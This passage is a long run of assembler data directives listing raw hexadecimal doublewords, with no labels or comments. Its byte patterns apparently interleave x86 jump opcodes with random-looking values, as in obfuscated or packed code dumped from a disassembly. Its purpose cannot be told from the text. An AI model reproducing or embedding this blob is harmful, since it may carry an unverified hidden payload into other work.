dd 0Ch, 0AA48EC4Bh, 933E2379h, 6E764B01h, 4CF08166h, 0D494BB56h
dd 51605D88h, 61CFC281h, 0E9582BCDh, 12h, 0C150CE17h, 22F8C0DCh
dd 0DA3EB89Dh, 0CB6F128Ch, 0BB610545h, 60EC2785h, 11E9E18Ah
dd 0B5000000h, 1D01ED9Ch, 0C239B284h, 95075B56h, 5AEC6B8h
dd 0F281D58Ah, 0FAED23Eh, 12860Fh, 9E80000h, 0C4000000h
dd 0CF1BCDD2h, 0C1E1A0E7h, 5BBDE080h, 0D38B6660h, 7212BA61h
dd 81660517h, 0FD37DEEh, 0FE9F8B7h, 33000000h, 5E71F3DBh
dd 85AF645Dh, 1CBB6A9Ah, 0C6810DC8h, 3EB51EADh, 10E8h
dd 2012AF00h, 0F4904350h, 46B6DA88h, 0A8CA1C5Dh, 11E80Fh
dd 64BF0000h, 0BB6C3601h, 97AA260Eh, 9864F812h, 50EA6513h
dd 0E95A5E5Ah, 7, 963B13E6h, 57CFD449h, 5022BF66h, 92D0BB59h
dd 8A60446Fh, 0E7BF66DDh, 0E9606187h, 9, 9E241E3Fh, 35C364B1h
dd 0BF0F6177h, 327BBC1h, 0C28B0674h, 0D8BF01B0h, 0B430A1A2h
dd 0CA8166FAh, 840FC38Bh, 16h, 11E9h, 74CA2000h, 0BB048E2Bh
dd 0A91A63A6h, 0ECA9BB6Dh, 50B6DEA6h, 0C8C38060h, 40EE8166h
dd 23B9612Fh, 5247FE5Ah, 2890Fh, 61600000h, 81F8F95Fh
dd 0F693D3D7h, 63B96668h, 8CDE8110h, 665F1C1Ch, 0CA73F181h
dd 5890F56h, 0B9000000h, 13A29677h, 0DE9F55Fh, 15000000h
dd 0DEB19822h, 36200853h, 6807787Dh, 0CE8h, 38C84100h
dd 0BAB8151h, 0D45839Bh, 0D5ABBBFAh, 0E95B18AAh, 0Eh, 0AEEE08E1h
dd 0C1802C9Dh, 4790AC6Ch, 0F98B2A99h, 0CE9h, 36E0CE00h
dd 0BE655F3Dh, 0B54AD9CCh, 0E9FE8ABAh, 8, 353B0884h, 9E835E7Fh
dd 8311EBBAh, 0C780F537h, 0FABF0FADh, 0FCB8B66h, 0B70FC6BFh
dd 0DF80F5F1h, 0CFBF0F60h, 0BE9h, 0CB1D1E00h, 1434CE13h
dd 0ED52F287h, 2890FF5h, 8B000000h, 66FCFCD6h, 56F9E081h
dd 0AE9h, 0E99F6200h, 0EBA7DF11h, 662F796Eh, 75B1DA8Bh
dd 128E0Fh, 0DE90000h, 0D8000000h, 6FC2E8FFh, 54CF723Bh
dd 47C4576Bh, 0E73FBF66h, 7820Fh, 850F0000h, 1, 5E9FCh
dd 0BC6D0000h, 0E985E439h, 8, 0D858443Ch, 906470BFh, 455CE181h
dd 8E95D3Ch, 0BE000000h, 8F0B6FD2h, 6638673Eh, 6671CABEh
dd 8389E181h, 0D0BF0FFCh, 0FCB8B66h, 1886h, 13E900h, 0BB1D0000h
dd 0D0EE3279h, 0A621C810h, 0B095CFB9h, 8EA53405h, 0DE85Eh
dd 93CE0000h, 0DE717391h, 4EC9A193h, 66B30263h, 5AA811B8h
dd 0A3D681F5h, 0E9207652h, 0Bh, 9311D537h, 1C2EACE2h, 0F23B5CDh
dd 9E9D1BFh, 42000000h, 48352AF5h, 3FE9C51Dh, 5FC38B52h
dd 88C0FF8h, 50000000h, 2441E081h, 50595D59h, 5B08D181h
dd 605B65AEh, 49C18166h, 0BE6661D4h, 11E8F790h, 5B000000h
dd 0DBFE9545h, 50D922DCh, 131C54A2h, 0C1905609h, 5F01F580h
dd 40EB8060h, 4EF78060h, 61616160h, 10E957h, 71C00000h
dd 716B6E0Dh, 0AA581646h, 62AC76E9h, 0F5AE170h, 0C8Bh
dd 6810F00h, 0F000000h, 80h, 0D1B70F00h, 58A0Fh, 81660000h
dd 0E93824D2h, 0Eh, 0C6C6A056h, 76CEE51Ch, 0DBE2F02Bh
dd 8166AA60h, 5631B0F0h, 0BE9h, 77C68300h, 914166Ah, 15F632D1h
dd 5880F5Bh, 0BE000000h, 62C1063Dh, 0FDBBF0Fh, 58Ch, 0D7816600h
dd 8166AF5Eh, 66D59DDFh, 0E04DE981h, 46E556B8h, 0C9816642h
dd 0B70F0517h, 0C28B66D8h, 61CAB260h, 890Fh, 0B8660000h
dd 890F3CB1h, 5, 26C88166h, 8BDE8B34h, 0EE9F8h, 0F8600000h
dd 63621142h, 66E304F6h, 201A48BCh, 8E8h, 9FF66C00h, 7F04421Dh
dd 0C810F57h, 0E9000000h, 7, 9C7E224h, 59D80CB2h, 66AED180h
dd 53E3BFBAh, 7FD28166h, 8B0F5868h, 2, 0BF66E0B3h, 0BE66A80Ch
dd 0E2B628ADh, 3142B966h, 14850Fh, 8E80000h, 33000000h
dd 6893D772h, 814C6147h, 9FC6BFF1h, 0BF0F595Ch, 9CBB66D1h
dd 0AE916h, 0ABF30000h, 8E9666EDh, 0CBF3D589h, 96CEBF66h
dd 0E964B966h, 0BE952h, 745F0000h, 22EA62EEh, 82DA6C67h
dd 81665E92h, 0E9213BD0h, 11h, 22071234h, 0B773AF22h, 9EA93D9h
dd 0EE56AFDFh, 0AE8ECh, 45020000h, 300D4BD6h, 25072BFBh
dd 128A0F5Ah, 0F000000h, 0C82h, 7E900h, 0F7ED0000h, 48625408h
dd 0E68166F0h, 8D0F2F2Dh, 7, 0E7816653h, 805F7F90h, 9FBABFE3h
dd 80542F89h, 7E913DCh, 4C000000h, 735510F3h, 0F3818075h
dd 4D053237h, 8BF98B66h, 2830FFAh, 0B2000000h, 0EE98128h
dd 812EE54Eh, 0C51CEAF0h, 1F8F0F46h, 0E8000000h, 6, 0DFB7C948h
dd 0EE9954Dh, 0A4000000h, 0EB0C53C2h, 51E7B61Dh, 0C14FC3B6h
dd 0D08B5821h, 11E8h, 0E1A75500h, 4FB7B97Eh, 4B546F15h
dd 798BFA5Bh, 8166CAE2h, 5F0BB8F0h, 31AB74BEh, 11E93Ah
dd 93230000h, 28002694h, 0BA99B7B3h, 0E215F8D9h, 0BE7D75CEh
dd 5398E48Fh, 2890Fh, 0DE8B0000h, 0EB68B966h, 12E8h, 0AC97F400h
dd 2ED02C8Dh, 0E854DE78h, 1A3404C1h, 52F98AF4h, 59582CB0h
dd 68F0Fh, 0C3810000h, 1AE609BCh, 12E8h, 0E0845B00h, 78EB894Ch
dd 4D4D8775h, 7F6C7A8Bh, 519B350Fh, 14E9h, 0D51D5800h
dd 0C12CECAFh, 49381060h, 963092F6h, 0EEFFAEE0h, 665F5BFBh
dd 8BFCC28Bh, 0F38160DAh, 59580084h, 12E9h, 6315DB00h
dd 0B35CCCD3h, 0BD9D59CBh, 0B5C5F186h, 615B692Bh, 3880Fh
dd 0F5560000h, 68C9815Bh, 0BA0A59CDh, 54FD2C86h, 0FEB70FF8h
dd 394FBA66h, 66F1BF0Fh, 0BB31FBBBh, 2A44336Bh, 0E9D7BF0Fh
dd 13h, 0E3E9313Ch, 0B81A7075h, 0C97BD445h, 353A2B10h
dd 0FB08358h, 587h, 0C9816600h, 850F45AFh, 1, 7E851FCh
dd 0A8000000h, 5D2AED27h, 0B866CAD8h, 5A5BDCAFh, 75B0DE8Bh
dd 8BF6BF0Fh, 8B0FFCCEh, 1, 0FBB70FFCh, 6E9h, 0A7EB4E00h
dd 604C23A7h, 66DAB70Fh, 613632BBh, 0FF08B66h, 238Dh, 0BE800h
dd 82A0000h, 0C6DE9A91h, 0B5B248E4h, 0DE9B2h, 0C6DB0000h
dd 0C63F9C1Fh, 4122B40Bh, 5A03D4EDh, 12E9h, 0A592DD00h
dd 49CFBD9Ch, 1554E23h, 6AA34FB5h, 8B50342Ah, 0A59AB8F8h
dd 3DB61E45h, 0F10D180h, 0B966DAB7h, 0CE92EA1h, 0BD000000h
dd 8443A4C8h, 72CCA88h, 563E922Ch, 1EEB8166h, 0EE815999h
dd 11150808h, 88C0Fh, 830F0000h, 2, 0BE8FB8Bh, 41000000h
dd 0D2410169h, 0BE322908h, 5BF8A0E3h, 0EE816660h, 0DE979FFh
dd 72000000h, 59DA6D8Eh, 7CEBEDEEh, 0D00638B7h, 12E961h
dd 6D290000h, 4AA5783Bh, 0A954989h, 0F2573961h, 0DB74BA82h
dd 8E9h, 246C1900h
dd 0B6D8E904h, 5E874h, 85220000h, 517F929Fh, 547319BAh
dd 0B95B5A2Fh, 6EE71992h, 0BA66CE8Ah, 0F55698EAh, 0C6BF0F5Ah
dd 6840Fh, 0C6810000h, 4DAD6EEAh, 8E9h, 84D49000h, 97C5AB4Bh
dd 6810F97h, 81000000h, 465B51DEh, 0C3BF0F56h, 0AED5B866h
dd 12810F60h, 0E9000000h, 0Dh, 616303B8h, 0F414F310h, 0FFE985DCh
dd 0D7C181B3h, 6109D37Dh, 60D6B70Fh, 60B7EF80h, 0FB8ACB81h
dd 80B8650Ch, 615D55EBh, 9E961h, 1FA40000h, 0BAD566AAh
dd 0BFBF4E6Dh, 78C7C424h, 5B6C281h, 0FF51F27h, 0C8Fh, 6850F00h
dd 0F000000h, 82h, 51DAB500h, 0CE8F95Fh, 49000000h, 0CEFC93ABh
dd 6ECD776Fh, 0FF2C82Bh, 0F5FF6BFh, 880FCEBFh, 0Ch, 7E9h
dd 9C693200h, 52ADA741h, 7E9h, 19A5D100h, 9B5B8A8Eh, 25B1AAB9h
dd 0CE804h, 0B9DE0000h, 0CDD37257h, 0BF63E172h, 0EF813855h
dd 37373A0Ch, 12E95Eh, 0F8310000h, 0AFEA613Dh, 70A636EBh
dd 42552965h, 0D98B9A8Ch, 7E9DD8Ah, 69000000h, 9C934B8Ch
dd 0B70F2653h, 0C78166FFh, 0F18B2FAEh, 0DBDDBCBEh, 72BE6674h
dd 7502B891h, 69B11A98h, 0DE8h, 0D7C0A100h, 53C03D11h
dd 6EA6E8Ah, 0AEB8DBF2h, 5E7472A3h, 0FA2E280h, 0BB66FEBFh
dd 8F0F7D3Bh, 0Fh, 0AE9h, 14C3F500h, 5AE5F044h, 0BAEF7132h
dd 3A944F95h, 5EA2BA66h, 0FFE8B66h, 283h, 0FCB8A00h, 0C681DFB7h
dd 0BE4B66Eh, 0D2121FBEh, 0C8BF0F25h, 0C1816652h, 0E95A7D19h
dd 0Dh, 0DA5603BDh, 8FCFD3B4h, 72879432h, 810FF8A3h, 3
dd 0FF28B66h, 681h, 92E08100h, 8132F10Ch, 439D39C9h, 0C281FC1Ch
dd 55625B96h, 0D7CF8166h, 0C850FB2h, 0F000000h, 68Dh, 890F00h
dd 0E9000000h, 9, 0CE91548Dh, 8ED2976Ah, 1840F8Dh, 0FC000000h
dd 8E960h, 546B0000h, 5E23D927h, 0CA81AADFh, 5EE36DE7h
dd 96B96661h, 98C2BAC1h, 81661501h, 0E82929DFh, 8, 6CBE851Bh
dd 0C337E483h, 0EE9h, 56860800h, 0B2B7A607h, 6984021Ah
dd 598D5A8Eh, 0B9F1E0BEh, 0FB8B664Eh, 8A0FF78Bh, 6, 7A35E181h
dd 0C68B7D01h, 0E9DF8B66h, 0Dh, 13BFB15Bh, 0B9A71D62h
dd 2587E1Eh, 0F52F84Ah, 38Bh, 79F58000h, 17830F5Eh, 0E9000000h
dd 12h, 5A5683D6h, 0A4DD8785h, 44FACA86h, 0E090CF8Eh, 0B70FDF98h
dd 0DDD781F3h, 0E9316898h, 5, 0F8C7ABBDh, 0F68166C3h, 5051120Bh
dd 5AF9B70Fh, 0C9C8815Fh, 0B951055Ah, 77674998h, 0CE8h
dd 8A452E00h, 1331E6C0h, 0D62B1CCCh, 0FEB558A1h, 8EF38060h
dd 0FE8h, 0EB700C00h, 26F16911h, 8FE2DC9Bh, 6C3446AFh
dd 816159FCh, 133C48DEh, 14E86Ch, 6D300000h, 874EE59Ch
dd 68C2EDCh, 3ED9E8BCh, 0A7F8EB09h, 0D68B75EAh, 0F38B665Bh
dd 7E9F9h, 64E50000h, 9E4910B7h, 0D88B605Ch, 61F28B66h
dd 650BE981h, 8B6667B5h, 63C580C1h, 2880Fh, 0D0B30000h
dd 8BC7B70Fh, 8850FDFh, 0F000000h, 28Ah, 8BF08A00h, 0E9F2B1F0h
dd 13h, 22C7859Ah, 0B38AD662h, 0C0A8E99h, 0F7DBE790h, 0E9AB99B6h
dd 11h, 0B7924703h, 0F07AB77Eh, 8481C01Bh, 0CB17F026h
dd 41DFBA0Dh, 8B661CF1h, 8E0F60C6h, 5, 0D3392AB9h, 4FD4805Fh
dd 5BF85261h, 5890Fh, 0D9BB0000h, 663F572Dh, 0FFCDF8Bh
dd 28Eh, 0BA3BB300h, 54446F4Dh, 198C0Fh, 0E9530000h, 12h
dd 29D88298h, 0CFEECB62h, 0FA5806F0h, 0F42B6AEAh, 0F5B1C25h
dd 0F50DEB7h, 484h, 0EFBB6600h, 0BA665EF7h, 0BF0FC0CAh
dd 38E0BFCFh, 8B661B48h, 3AE381F8h, 814A2812h, 3CCBE6EBh
dd 0F6816661h, 0EE81968Bh, 780D6840h, 0E842BF66h, 14E8h
dd 0D9B97800h, 40C783FDh, 5B8E18ABh, 510FDB1Fh, 0CA04EF2Eh
dd 6870F80h, 0F000000h, 81h, 0E9515E00h, 7, 0CEDB80C6h
dd 5E43C9CCh, 2D18166h, 0E9A2B3D8h, 9, 22B2AFFBh, 0F96FB05Fh
dd 0EEBE662Fh, 57FA8A87h, 8059F88Bh, 8166BFF4h, 0F70F5C0h
dd 0F781F9BFh, 3A9B204Eh, 43D78166h, 14E91Fh, 0B0E20000h
dd 96609708h, 6BFCDE10h, 4B2B1Fh, 6B51A2A7h, 81603AD2h
dd 21A112F0h, 5E91Ch, 0B7D80000h, 61F4A124h, 13E8h, 2B4B0400h
dd 6883D037h, 694B317h, 0B07C96F4h, 69740082h, 8A5F21B3h
dd 59FC57F3h, 3870Fh, 0BF0F0000h, 15E980FBh, 0AE9h, 736BC000h
dd 1ECA4233h, 0BB746C49h, 12B2787Ch, 5830Fh, 81660000h
dd 0F2730D7h, 0BF0FC7B7h, 66BE66F8h, 0B70F60FDh, 13E9D0h
dd 28290000h, 71F59312h, 76D58A28h, 0A70A2B80h, 0DF267DACh
dd 10E961E2h, 0C9000000h, 0DB0A6730h, 895A02C8h, 9BD9EF39h
dd 66790CA9h, 0B365D181h, 0BF0FE7B1h, 820FF5C1h, 9, 3830Fh
dd 8B660000h, 4810FC3h, 66000000h, 0B9CE0BBEh, 53C3748Fh
dd 0F60DE8Bh, 86h, 0CDE7BF00h, 60616FBBh, 13E833B6h, 0C7000000h
dd 60DCE1D5h, 288822A5h, 9B71060Bh, 8548CD81h, 61606B8Dh
dd 81666159h, 66533ECBh, 51CEE6BAh, 0BE9605Fh, 2D000000h
dd 0DF13CA89h, 289A9349h, 3AB4C46Dh, 0FB8B6661h, 46DA8166h
dd 35E780DDh, 4578F381h, 81662E6Ah, 6625E9CFh, 66CF12BEh
dd 6637E0B8h, 933DF681h, 0C2D8DF81h, 12E924B3h, 4B000000h
dd 55865982h, 0CB510289h, 82D3D977h, 5C2EEC91h, 0F6051D5h
dd 82h, 9AD78100h, 61547884h, 0BF60FC5Bh, 65568777h, 0BE9h
dd 0BDC4C500h, 3BF4F167h, 12236D81h, 13E9F561h, 7000000h
dd 686C9D6Eh, 0B75CB0D6h, 872D2C98h, 529ADDF5h, 0D78B1E05h
dd 0BE9h, 0C7080000h, 0A2DD8D0Fh, 669CD81Fh, 0B7E18166h
dd 0EFBB664Dh, 0F7816675h, 0F580E5CBh, 2880FEEh, 8A000000h
dd 1F8A0FC7h, 0E8000000h, 14h, 979CF791h, 31CB4BE4h, 0C7D9D3DEh
dd 816E43C6h, 0C777992Ah, 3F2C52BBh, 0AE95836h, 8000000h
dd 0D6A89B52h, 527BE7F0h, 8E9FCh, 32600000h, 0CE76EB6Fh
dd 0F08A8A81h, 2810Fh, 0B8B50000h, 60F88BF9h, 68E0Fh, 830F0000h
dd 0
dd 0B861F08Bh, 0FC908Fh, 13E9h, 0CE39F600h, 102D1742h
dd 3C25D44Fh, 13340B46h, 9E411581h, 0BF0F00B0h, 0FD68BC0h
dd 5160D7B7h, 59C0BF0Fh, 0DAB70F61h, 6660E18Ah, 8B3D4DBBh
dd 860F61C3h, 2, 0EBB0D18Bh, 0FB3F51BAh, 6661604Bh, 0BAC1B8B9h
dd 136D49A1h, 0FD9B70Fh, 187h, 890FFC00h, 0Dh, 8E9h, 992CA400h
dd 91106F11h, 0E9F5F932h, 12h, 13607AC7h, 94C0E80Dh, 35F6125Dh
dd 0D8D54C4Ch, 8166B9D2h, 0E93EC9DEh, 11h, 30CA1439h, 0DBE17A7Eh
dd 0E21A1279h, 0C0955FADh, 0E2BB663Bh, 9E9FCh, 0C5AF0000h
dd 0D0754363h, 8132BD71h, 95DAF6E8h, 6E86040h, 21000000h
dd 22632EDDh, 5EC28A26h, 0B5E08166h, 0FABB6161h, 601ACE64h
dd 66D08B66h, 0E861F38Bh, 6, 1B01C310h, 10E91403h, 51000000h
dd 0A1E5D192h, 1D52426Bh, 0BC7C4D7h, 58E107A7h, 9E820B1h
dd 7B000000h, 55183889h, 5BE0C92Bh, 0FE9h, 33E8C600h, 40411F21h
dd 34133965h, 0E063341Bh, 0E681665Ah, 0F38155CFh, 7DC66743h
dd 12E8h, 45245B00h, 3A960A98h, 0EAEDE7F2h, 3BB5D503h
dd 57B4CA60h, 0F605B5Ah, 387h, 0C9BF0F00h, 0F0C88166h
dd 0D78B611Dh, 0E8FFBF0Fh, 10h, 0F1F41753h, 30A457CBh
dd 92D50E48h, 8ADEF66Dh, 0E1BA665Fh, 0E8D3B793h, 12h, 0D201E894h
dd 6AEB93C8h, 0A04C69C2h, 30C3F1DCh, 0B70FD291h, 810F5ECFh
dd 5, 0F8B70F51h, 72BB665Ah, 1F33BA6Ch, 800F5BA5h, 12h
dd 7E8h, 0C368EF00h, 3602CC19h, 54C38166h, 81F55853h, 4A4450C0h
dd 5CC6805Ah, 28B0Fh, 0F28B0000h, 10E8F5h, 14BD0000h, 62340C6Eh
dd 6027C68h, 4118C4DAh, 0CE9490Bh, 29000000h, 0E4F96257h
dd 0E735845h, 590B318Eh, 0EE0F86B9h, 0D2816660h, 0BE9EC09h
dd 0C5000000h, 5B4B4h, 0F3BEC291h, 13E89A6Ah, 0B2000000h
dd 66DA2ABh, 0C3F032F3h, 0F255D9A1h, 7777C908h, 880F37E5h
dd 3, 59C28B66h, 14880Fh, 0DE80000h, 9C000000h, 20C96B46h
dd 471F7761h, 76C0FA0Eh, 0BB665EFCh, 66527DF9h, 505BF88Bh
dd 0D3816660h, 57BA150Ch, 612E0631h, 13E95Eh, 354B0000h
dd 70E0B88Fh, 707DFE5Fh, 347CFA92h, 91E77692h, 0BE9DFh
dd 364D0000h, 25C1EB80h, 2B235447h, 4CB960AFh, 616DA7F1h
dd 0A394CBEh, 0E960F828h, 9, 70D08E3Fh, 8E1A76EFh, 860F5345h
dd 0
dd 0F60615Ah, 48Dh, 6FB86600h, 0F08B66A4h, 8E861h, 27D90000h
dd 7873C204h, 8A0FEDADh, 1, 8F0F5FF5h, 0Fh, 0AE9h, 80EEE200h
dd 4ADE3673h, 0BF9A1F94h, 29EDAE4Ah, 13E8h, 8E9BE800h
dd 84FE5434h, 0E4793565h, 0CF310AC5h, 0F78A321Dh, 746C25B9h
dd 0B866581Ah, 3ABB17FAh, 6621CE16h, 521422BBh, 2800Fh
dd 5E520000h, 5810F58h, 53000000h, 5BD0BF0Fh, 10E9h, 6B377C00h
dd 2A381B88h, 0DCF5A4FAh, 0F709B234h, 6810F04h, 81000000h
dd 4ABD81E0h, 8E91Dh, 0E98D0000h, 0F4352E37h, 0F85760DFh
dd 81666058h, 66C39ED1h, 9914E781h, 9E95361h, 45000000h
dd 0DA5571F8h, 57DB0771h, 9E85258h, 80000000h, 0C88E6D9h
dd 2D39E78Eh, 7E9h, 3AB33D00h, 0A66ECE6Dh, 13E95F58h, 69000000h
dd 0C25789B0h, 0A439FC54h, 0A352A0A2h, 0DD6E473Fh, 0ED80A9C5h
dd 8E85294h, 23000000h, 0C277AEA8h, 0FCB0834h, 85h, 0E9595B00h
dd 6, 73AE0CA8h, 0E8FC3884h, 5, 8F5D0B95h, 8B665150h, 0E9595AF8h
dd 7, 5F9074F9h, 8AD2635Eh, 0C8D681D3h, 0E8563EF2h, 9
dd 0A633F7CEh, 416DBFEBh, 0CE986h, 0EFFA0000h, 0C7A2BD0h
dd 25D784E0h, 0FC59919Dh, 66C0BF0Fh, 0F21E5BBh, 68Bh, 8C0F00h
dd 81000000h, 26F3E8CFh, 0B70F6042h, 0D28166D7h, 0E961EAE7h
dd 14h, 91BF3F0Bh, 0CFDF6987h, 40912E5Bh, 553A4B95h, 0F1CA37D5h
dd 0FC9F5FBAh, 0FF78A3Ah, 382h, 0F9BF0F00h, 5BC38B56h
dd 66BEB5F5h, 0F97C36BFh, 0FD1B70Fh, 58Dh, 0C2816600h
dd 0C7814674h, 6F3FA72Fh, 0BE9h, 0C991A900h, 3BDB7BDEh
dd 0FC4FC81Eh, 88F0Fh, 8E0F0000h, 2, 0BE665950h, 820FD46Fh
dd 3, 0E8F2B70Fh, 5, 630227Dh, 0A7B86698h, 0F0815A42h
dd 194E4561h, 8BD78B66h, 0B6CA80C7h, 0F6CD080h, 138Bh
dd 0EE900h, 9D540000h, 0B33A114Ah, 0D2E5F8C9h, 45AFA4E4h
dd 9E77F681h, 8B66711Dh, 0FCF860CBh, 0E850F61h, 60000000h
dd 890Fh, 8E0F0000h, 0
dd 0B157B361h, 0BF666031h, 11E83A86h, 5B000000h, 47D953E5h
dd 18269C98h, 0DEFC0303h, 0CDAA54B0h, 132CB966h, 0F560615Bh
dd 61D78B66h, 2820Fh, 0D88B0000h, 0D313BA66h, 30D828BAh
dd 12E926h, 0FCEB0000h, 2E8EB5E6h, 8D28BA4Eh, 4AD57650h
dd 0FCA228D9h, 0BE8h, 0EEEB2700h, 9E073E2Fh, 4084BBB2h
dd 28D0Fh, 5F500000h, 0E9F18B59h, 8, 980FAC19h, 2BDD4CD4h
dd 0EE9h, 61AFC000h, 84FA0AA4h, 5927D4A1h, 0E8A3B6F1h
dd 7, 538E009Ch, 8B5864B8h, 11E95ED9h, 99000000h, 35D23C31h
dd 0D6C6B080h, 0C2F92816h, 0F8F4296h, 0EE9FCh, 4FCB0000h
dd 0C265BBD9h, 241F9ECAh, 0A48A4109h, 8BCBBF0Fh, 4840FCBh
dd 66000000h, 539445B9h, 10E95Bh, 260E0000h, 0F81297AAh
dd 65139864h, 0BCF6CBEAh, 0E9F51EF8h, 9, 0C1B826BCh, 2808CBF4h
dd 9CD9818Bh, 6671781Ch, 668940BEh, 531058BBh, 5F2ECE80h
dd 0BF0FD78Bh, 50DE8AD2h, 5AD3B70Fh, 0BE9h, 7CCC7300h
dd 76595286h, 446A5D5Ch, 4870Fh, 50570000h, 0EB8A5F5Fh
dd 0FD9ED081h, 0F38B2553h, 61EF8166h, 0D68B6620h, 0FA8A5260h
dd 0BA61F559h, 5A258D9Fh, 0F60CF8Bh, 385h, 0C28B6600h
dd 61E1E380h, 840F60h, 61000000h, 66C6BF0Fh, 840FCE8Bh
dd 6, 0B4A9D981h, 850F1201h, 3, 0BECE8B66h, 162AF98Eh
dd 0A4BE80B6h, 80734743h, 0B70FEECEh, 8A0F53C3h, 3, 59ABDC80h
dd 0ADC5D181h, 12E96E08h, 0EE000000h, 0B63847B9h, 717E6914h
dd 96037DE3h, 1B621941h, 5BBE66AAh, 0FCF86096h, 6E961h
dd 0E8560000h, 29C2AAE3h, 84CE8166h, 96BF63h, 0AE90BA7h
dd 6000000h, 0B8035FEBh, 4DC579B4h, 0C9BF0F13h, 0C3816650h
dd 0FC5E644Eh, 0CE956h, 14C70000h, 0DEC14248h, 271E80E3h
dd 0F5FD633h, 0BF0FF2BFh, 50ADB0C7h, 8059F88Ah, 816070E1h
dd 0A1EB01EFh, 0CDC88141h, 610F26E9h, 0BAEE8166h, 50F9F85Ah
dd 5E616052h, 0F381665Fh, 14E99BA2h, 98000000h, 0AC0999B4h
dd 739CB39Fh, 0F574BC12h, 0E78B982Ch, 0F5FBDACh, 820FD3B7h
dd 0Ch, 6890Fh, 8F0F0000h, 0
dd 61E1B560h, 26CF8166h, 69BA66FEh, 0C2816665h, 8166B788h
dd 668174F3h, 0CC7CDE81h, 0DCD91BBFh, 0CE97Ch, 0CB3F0000h
dd 0F20339F5h, 970C1F36h, 0CB812A94h, 6A3D5244h, 0D860F52h
dd 0E9000000h, 8, 603BB5D5h, 0C5C3B4CAh, 0C8F0F5Ah, 0F000000h
dd 681h, 8C0F00h, 66000000h, 66176FBBh, 0B4BDDE81h, 8166F08Bh
dd 0BE6AC5CFh, 3CB64E9h, 39EE8160h, 6150E880h, 0BA66CB8Bh
dd 0B70F9133h, 0DF8166CFh, 13E83E6Fh, 0E3000000h, 0DBC0F5E0h
dd 0C45E060Eh, 0EC6A35DCh, 0B395F859h, 0B70FFC12h, 816659FBh
dd 66E179F3h, 880FF28Bh, 6, 183BC281h, 0F98B687Fh, 7EEE8166h
dd 0D7BF0F72h, 81665657h, 5A391EE2h, 0B6D48A5Fh, 2159BF74h
dd 0E95134B6h, 0Dh, 9940E536h, 0DDEA9F4Dh, 0D52A9569h
dd 7E95E96h, 62000000h, 99B38AD6h, 0E2810A8Eh, 3624533Ch
dd 66C88B66h, 3A60EB81h, 917FBAFCh, 0BF0F7D61h, 870FC0h
dd 0F000000h, 5E9C8B7h, 58000000h, 0AE93DD04h, 7E9h, 0A2B22F00h
dd 198926Eh, 0DE86060h, 83000000h, 24D08260h, 0FCD3D398h
dd 5B49178Eh, 0E0BB6658h, 890F6196h, 2, 66616160h, 0A10AEA81h
dd 52F8C38Bh, 5AB0DE80h, 0E95FB260h, 0Ah, 734AF6Dh, 0FFC6BBE4h
dd 0F6191B6h, 38Dh, 0A8DA8000h, 0DDB8151h, 5F475D27h, 81F28BF9h
dd 33172D3h, 0D6BF0F14h, 8B6609B6h, 0DF8166F9h, 0BF0FA26Ah
dd 0DE9FAh, 0FB6B0000h, 74A41BC4h, 652D2A9Dh, 66BB0804h
dd 0B0302DB8h, 6890FB8h, 0F000000h, 89h, 38F0F00h, 0F000000h
dd 0BB66C6B7h, 0FE8B5CDh, 0A5000000h, 94C4D614h, 0F7836DE1h
dd 0D50A814Eh, 58FC56F6h, 8B66F08Ah, 9E8F3h, 0E2DB0000h
dd 716CF4E4h, 66E0B901h, 59BF28BEh, 8E0FFB8Bh, 3, 0F8FFBF0Fh
dd 47C88166h, 46C981C3h, 0F7A5E3Bh, 8B66C0BFh, 0B860FFBh
dd 0E9000000h, 6, 5372D7CBh, 8160743Ch, 58AC37D2h, 0E861F57Fh
dd 7, 7BF05BDh, 8194F209h, 173074CBh, 8B665B43h, 8BB3BACBh
dd 0EE810EFh, 2A000000h, 0D5CDBC01h, 8F679BDFh, 7A86D45Ah
dd 0CDDA8159h, 5E7E5F4Fh, 0E9FBB70Fh, 9, 0F57F720Bh, 969871C5h
dd 0E38157B8h, 4D5C25C3h, 0EABE6658h, 0DA80604Fh, 0F61FC29h
dd 587h, 0D2816600h, 0E950C1ACh, 8, 17B68DDEh, 72018841h
dd 13E95Fh, 2B60000h, 0CDB17908h, 0A413A9F8h, 10C7D3ECh
dd 0D2A96979h, 5E8E0h, 13140000h, 0E8F06061h, 8, 705CDB7Eh
dd 0A8BF401Bh, 58586160h, 0B2EF8166h, 0CFBF0FC1h, 0E8DF8B66h
dd 10h, 0A27AF930h, 3FE1F626h, 5C6BCB35h, 0A15C3A20h, 0E9D08A5Fh
dd 0Bh, 0F1DE1F38h, 4119EE0Dh, 8B9F31BAh, 0AE9CFh, 5DBA0000h
dd 794C30E8h, 6EF24B6Dh, 81442EBAh, 7DB4FC48h, 260DD381h
dd 830F504Ch, 1, 0C8B70FF8h, 0B1BFDD80h, 8BBBB3B5h, 816057C6h
dd 94E11C3h, 61FA8B31h, 4BD28058h, 62C04BFh, 0D6F28162h
dd 0F494C10h, 870FFABFh, 15h, 10E9h, 0B7297700h, 968BD9BFh
dd 51FC2CD9h, 25624BFDh, 0B70F577Ah, 8E95FD6h, 0A000000h
dd 1191C19Fh, 0BBB00397h, 6C3E167Ah, 0B9D28166h, 0F3BF0FA8h
dd 12E9h, 43E6E200h, 0EDE664CEh, 10DA6AB3h, 1BA56B12h
dd 602D0F67h, 0E9D0B70Fh, 13h, 3D51BCC5h, 0A7DE880h, 0A51D68D9h
dd 0F8A1401Dh, 617C6F0Dh, 8D0FD08Bh, 3, 66F7BF0Fh, 8B66F28Bh
dd 37BE66D1h, 68F0FDCh, 81000000h, 7B52C0CBh, 22BBF95Fh
dd 0BE2E4244h, 40DEE37Ah, 0DE9h, 0AD656C00h, 71B3E298h
dd 0F97A261Eh, 0BF66A90Ch, 5E9DE98h, 9C000000h, 12D7EB1Eh
dd 0E565D281h, 0F571D8Eh, 18Bh, 0F58FC00h, 589h, 0D254BA00h
dd 6E932E4h, 85000000h, 0F4BF3C4Ch, 5E9D9h, 17230000h
dd 8AE16C84h, 66C38AD1h, 80F9B2BEh, 0B251EADAh, 8166590Ch
dd 0E95E67D6h, 0Bh, 0E92DE624h, 7FBC4B97h, 661905DFh, 81B534B9h
dd 1EBD96DBh, 4259BE76h, 0BE85767h, 2A000000h, 2E301A78h
dd 838DAD98h, 0CF81DAD7h, 48E7941Dh, 0C88B665Bh, 0CE9h
dd 38420900h, 4911CB6Bh, 0F841678Dh, 6CCA80ADh, 0FDEB70Fh
dd 0CA8BCBBFh, 63FDF9BFh, 0CF8B663Fh, 0D48AE38Ah, 808CF080h
dd 820FFBCAh, 1Bh, 14E951h, 62990000h, 0B390989Bh, 0E88FE5BFh
